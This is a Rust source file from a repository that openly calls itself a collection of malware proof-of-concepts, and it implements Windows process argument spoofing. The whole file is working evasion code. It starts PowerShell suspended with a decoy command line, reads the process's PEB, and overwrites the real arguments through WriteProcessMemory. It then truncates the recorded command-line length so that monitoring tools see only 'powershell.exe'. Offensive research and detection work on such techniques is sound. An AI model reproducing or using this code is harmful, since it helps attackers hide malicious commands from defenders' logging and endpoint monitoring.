mirror of
https://codeberg.org/smukx/Rust-for-Malware-Development
synced 2026-06-06 20:22:59 +00:00
28e7fac1d3
Rust-for-Malware-Development is an collection of proof of concepts with techniques and advanced evasion methods
310 lines
9.2 KiB
Rust
310 lines
9.2 KiB
Rust
/*
|
|
Process Argument Spoofing
|
|
For more Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
|
|
Resources Used: MALDEV ACADEMY COURSE(C), WINAPI
|
|
@5mukx
|
|
|
|
*/
|
|
|
|
use std::ptr::null_mut;
|
|
use memoffset::offset_of;
|
|
use ntapi::{ntpsapi::ProcessBasicInformation, ntrtl::RTL_USER_PROCESS_PARAMETERS};
|
|
|
|
use winapi::{ctypes::c_void,
|
|
shared::ntdef::{NT_SUCCESS, UNICODE_STRING},
|
|
um::{handleapi::CloseHandle,
|
|
memoryapi::{ReadProcessMemory, WriteProcessMemory},
|
|
processthreadsapi::ResumeThread,
|
|
synchapi::WaitForSingleObject
|
|
}
|
|
};
|
|
|
|
use ntapi::ntpsapi::PEB_LDR_DATA;
|
|
use ntapi::ntpsapi::{NtQueryInformationProcess, PROCESS_BASIC_INFORMATION};
|
|
use winapi::um::{errhandlingapi::GetLastError, processthreadsapi::{CreateProcessW, PROCESS_INFORMATION, STARTUPINFOW}};
|
|
|
|
|
|
macro_rules! okey {
|
|
($msg:expr, $($arg:expr), *) => {
|
|
println!("\\_____[+] {}", format!($msg, $($arg), *));
|
|
}
|
|
}
|
|
|
|
macro_rules! error{
|
|
($msg:expr, $($arg:expr), *) => {
|
|
println!("\\_____[-] {}", format!($msg, $($arg), *));
|
|
println!("Exiting ...");
|
|
}
|
|
}
|
|
|
|
macro_rules! wide_string {
|
|
($s:literal) => {{
|
|
const INPUT: &[u8] = $s.as_bytes();
|
|
let output_len = utf16_len(INPUT) + 1;
|
|
let mut buffer = vec![0; output_len];
|
|
let mut input_pos = 0;
|
|
let mut output_pos = 0;
|
|
while let Some((mut code_point, new_pos)) = decode_utf8_char(INPUT, input_pos) {
|
|
input_pos = new_pos;
|
|
if code_point <= 0xffff {
|
|
buffer[output_pos] = code_point as u16;
|
|
output_pos += 1;
|
|
} else {
|
|
code_point -= 0x10000;
|
|
buffer[output_pos] = 0xd800 + (code_point >> 10) as u16;
|
|
output_pos += 1;
|
|
buffer[output_pos] = 0xdc00 + (code_point & 0x3ff) as u16;
|
|
output_pos += 1;
|
|
}
|
|
}
|
|
buffer.as_ptr()
|
|
}};
|
|
}
|
|
|
|
pub const fn utf16_len(bytes: &[u8]) -> usize {
|
|
let mut pos = 0;
|
|
let mut len = 0;
|
|
while let Some((code_point, new_pos)) = decode_utf8_char(bytes, pos) {
|
|
pos = new_pos;
|
|
len += if code_point <= 0xffff { 1 } else { 2 };
|
|
}
|
|
len
|
|
}
|
|
|
|
pub const fn decode_utf8_char(bytes: &[u8], mut pos: usize) -> Option<(u32, usize)> {
|
|
if bytes.len() == pos {
|
|
return None;
|
|
}
|
|
let ch = bytes[pos] as u32;
|
|
pos += 1;
|
|
if ch <= 0x7f {
|
|
return Some((ch, pos));
|
|
}
|
|
if (ch & 0xe0) == 0xc0 {
|
|
if bytes.len() - pos < 1 {
|
|
return None;
|
|
}
|
|
let ch2 = bytes[pos] as u32;
|
|
pos += 1;
|
|
if (ch2 & 0xc0) != 0x80 {
|
|
return None;
|
|
}
|
|
let result: u32 = ((ch & 0x1f) << 6) | (ch2 & 0x3f);
|
|
if result <= 0x7f {
|
|
return None;
|
|
}
|
|
return Some((result, pos));
|
|
}
|
|
if (ch & 0xf0) == 0xe0 {
|
|
if bytes.len() - pos < 2 {
|
|
return None;
|
|
}
|
|
let ch2 = bytes[pos] as u32;
|
|
pos += 1;
|
|
let ch3 = bytes[pos] as u32;
|
|
pos += 1;
|
|
if (ch2 & 0xc0) != 0x80 || (ch3 & 0xc0) != 0x80 {
|
|
return None;
|
|
}
|
|
let result = ((ch & 0x0f) << 12) | ((ch2 & 0x3f) << 6) | (ch3 & 0x3f);
|
|
if result <= 0x7ff || (0xd800 <= result && result <= 0xdfff) {
|
|
return None;
|
|
}
|
|
return Some((result, pos));
|
|
}
|
|
if (ch & 0xf8) == 0xf0 {
|
|
if bytes.len() - pos < 3 {
|
|
return None;
|
|
}
|
|
let ch2 = bytes[pos] as u32;
|
|
pos += 1;
|
|
let ch3 = bytes[pos] as u32;
|
|
pos += 1;
|
|
let ch4 = bytes[pos] as u32;
|
|
pos += 1;
|
|
if (ch2 & 0xc0) != 0x80 || (ch3 & 0xc0) != 0x80 || (ch4 & 0xc0) != 0x80 {
|
|
return None;
|
|
}
|
|
let result = ((ch & 0x07) << 18) | ((ch2 & 0x3f) << 12) | ((ch3 & 0x3f) << 6) | (ch4 & 0x3f);
|
|
if result <= 0xffff || 0x10ffff < result {
|
|
return None;
|
|
}
|
|
return Some((result, pos));
|
|
}
|
|
None
|
|
}
|
|
|
|
#[allow(non_camel_case_types)]
|
|
pub type PPS_POST_PROCESS_INIT_ROUTINE = Option<unsafe extern "system" fn()>;
|
|
|
|
#[allow(non_snake_case)]
|
|
#[repr(C)]
|
|
pub struct PEB {
|
|
pub Reserved1: [u8; 2],
|
|
pub BeingDebugged: u8,
|
|
pub Reserved2: [u8; 1],
|
|
pub Reserved3: [*mut c_void; 2],
|
|
pub Ldr: *mut PEB_LDR_DATA,
|
|
pub ProcessParameters: *mut RTL_USER_PROCESS_PARAMETERS,
|
|
pub Reserved4: [*mut c_void; 3],
|
|
pub AtlThunkSListPtr: *mut c_void,
|
|
pub Reserved5: *mut c_void,
|
|
pub Reserved6: u32,
|
|
pub Reserved7: *mut c_void,
|
|
pub Reserved8: u32,
|
|
pub AtlThunkSListPtr32: u32,
|
|
pub Reserved9: [*mut c_void; 45],
|
|
pub Reserved10: [u8; 96],
|
|
pub PostProcessInitRoutine: PPS_POST_PROCESS_INIT_ROUTINE,
|
|
pub Reserved11: [u8; 128],
|
|
pub Reserved12: [*mut c_void; 1],
|
|
pub SessionId: u32,
|
|
}
|
|
|
|
|
|
fn main(){
|
|
unsafe{
|
|
let mut startup_info: STARTUPINFOW = std::mem::zeroed();
|
|
startup_info.cb = std::mem::size_of::<STARTUPINFOW>() as u32;
|
|
|
|
let mut process_info: PROCESS_INFORMATION = std::mem::zeroed();
|
|
|
|
let mut command_line:Vec<u16> = "powershell.exe argument spoofing\0".encode_utf16().collect();
|
|
// let mut command_line: Vec<u16> = "powershell.exe ping -n 50 google.com\0".encode_utf16().collect();
|
|
|
|
let create_process = CreateProcessW(
|
|
null_mut(),
|
|
command_line.as_mut_ptr() as *mut u16,
|
|
null_mut(),
|
|
null_mut(),
|
|
0,
|
|
0x00000004 | 0x08000000,
|
|
null_mut(),
|
|
wide_string!("C:\\Windows\\System32"),
|
|
&mut startup_info,
|
|
&mut process_info,
|
|
);
|
|
|
|
if create_process == 0{
|
|
error!("CreateProcessW Failed with errror: {}", GetLastError());
|
|
return;
|
|
}
|
|
|
|
okey!("Targert Process ID: {}", process_info.dwProcessId);
|
|
|
|
let hprocess = process_info.hProcess;
|
|
let hthread = process_info.hThread;
|
|
|
|
|
|
let mut pbi: PROCESS_BASIC_INFORMATION = std::mem::zeroed();
|
|
let mut return_len: u32 = 0;
|
|
|
|
let nt_status = NtQueryInformationProcess(
|
|
hprocess,
|
|
ProcessBasicInformation,
|
|
&mut pbi as *mut PROCESS_BASIC_INFORMATION as *mut c_void,
|
|
std::mem::size_of::<PROCESS_BASIC_INFORMATION>() as u32 ,
|
|
&mut return_len,
|
|
);
|
|
|
|
if !NT_SUCCESS(nt_status) {
|
|
error!("NtQueryInformationProcess failed with status: {}", nt_status);
|
|
ClosePT(hprocess, hthread);
|
|
return;
|
|
}
|
|
|
|
okey!("Address to PEB: {:?}",pbi.PebBaseAddress);
|
|
|
|
let mut ppeb: PEB = std::mem::zeroed();
|
|
let mut p_params: RTL_USER_PROCESS_PARAMETERS = std::mem::zeroed();
|
|
|
|
|
|
let mut bytes_read: usize = 0;
|
|
|
|
let success = ReadProcessMemory(
|
|
hprocess,
|
|
pbi.PebBaseAddress as *mut c_void,
|
|
&mut ppeb as *mut _ as *mut c_void,
|
|
std::mem::size_of::<PEB>(),
|
|
&mut bytes_read,
|
|
);
|
|
|
|
if success == 0{
|
|
error!("ReadProcessMemory (1) faied: {}", GetLastError());
|
|
ClosePT(hprocess, hthread);
|
|
return;
|
|
}
|
|
|
|
// using ppeb
|
|
let success = ReadProcessMemory(
|
|
hprocess,
|
|
ppeb.ProcessParameters as *const c_void,
|
|
&mut p_params as *mut _ as *mut c_void,
|
|
std::mem::size_of::<RTL_USER_PROCESS_PARAMETERS>() + 255,
|
|
null_mut(),
|
|
);
|
|
|
|
if success == 0{
|
|
error!("ReadProcessMemory (1) faied: {}", GetLastError());
|
|
ClosePT(hprocess, hthread);
|
|
return;
|
|
}
|
|
|
|
|
|
let reajust_argument: Vec<u16> = "powershell.exe -NoExit calc.exe\0".encode_utf16().collect();
|
|
|
|
let success = WriteProcessMemory(
|
|
hprocess,
|
|
p_params.CommandLine.Buffer as _,
|
|
reajust_argument.as_ptr() as _,
|
|
reajust_argument.len() * std::mem::size_of::<u16>() +1,
|
|
null_mut(),
|
|
);
|
|
|
|
if success == 0 {
|
|
error!("WriteProcessMemory (1) failed with error: {}",GetLastError());
|
|
ClosePT(hprocess, hthread);
|
|
return;
|
|
}
|
|
|
|
// let new_len_power: u32 = "powershell.exe\0".len() as u32;
|
|
let new_len_power: usize = "powershell.exe\0".encode_utf16().count() * std::mem::size_of::<u16>();
|
|
let written = ppeb.ProcessParameters as usize + offset_of!(RTL_USER_PROCESS_PARAMETERS, CommandLine)
|
|
+ offset_of!(UNICODE_STRING, Length);
|
|
//
|
|
|
|
let success = WriteProcessMemory(
|
|
hprocess,
|
|
written as *mut c_void,
|
|
&new_len_power as *const _ as *const c_void,
|
|
std::mem::size_of::<u32>(),
|
|
null_mut(),
|
|
);
|
|
|
|
if success == 0 {
|
|
error!("WriteProcessMemory (2) failed with error: {}",GetLastError());
|
|
ClosePT(hprocess, hthread);
|
|
return;
|
|
}
|
|
|
|
okey!("Thread Executed {}",'!');
|
|
|
|
ResumeThread(hthread);
|
|
WaitForSingleObject(hthread, 0xFFFFFFFF);
|
|
|
|
CloseHandle(hprocess);
|
|
CloseHandle(hthread);
|
|
}
|
|
}
|
|
|
|
#[allow(non_snake_case)]
|
|
fn ClosePT(hprocess: *mut c_void, hthread: *mut c_void){
|
|
unsafe{
|
|
// TerminateProcess(hprocess, 0);
|
|
CloseHandle(hprocess);
|
|
CloseHandle(hthread);
|
|
}
|
|
// std::process::exit(0);
|
|
|
|
}
|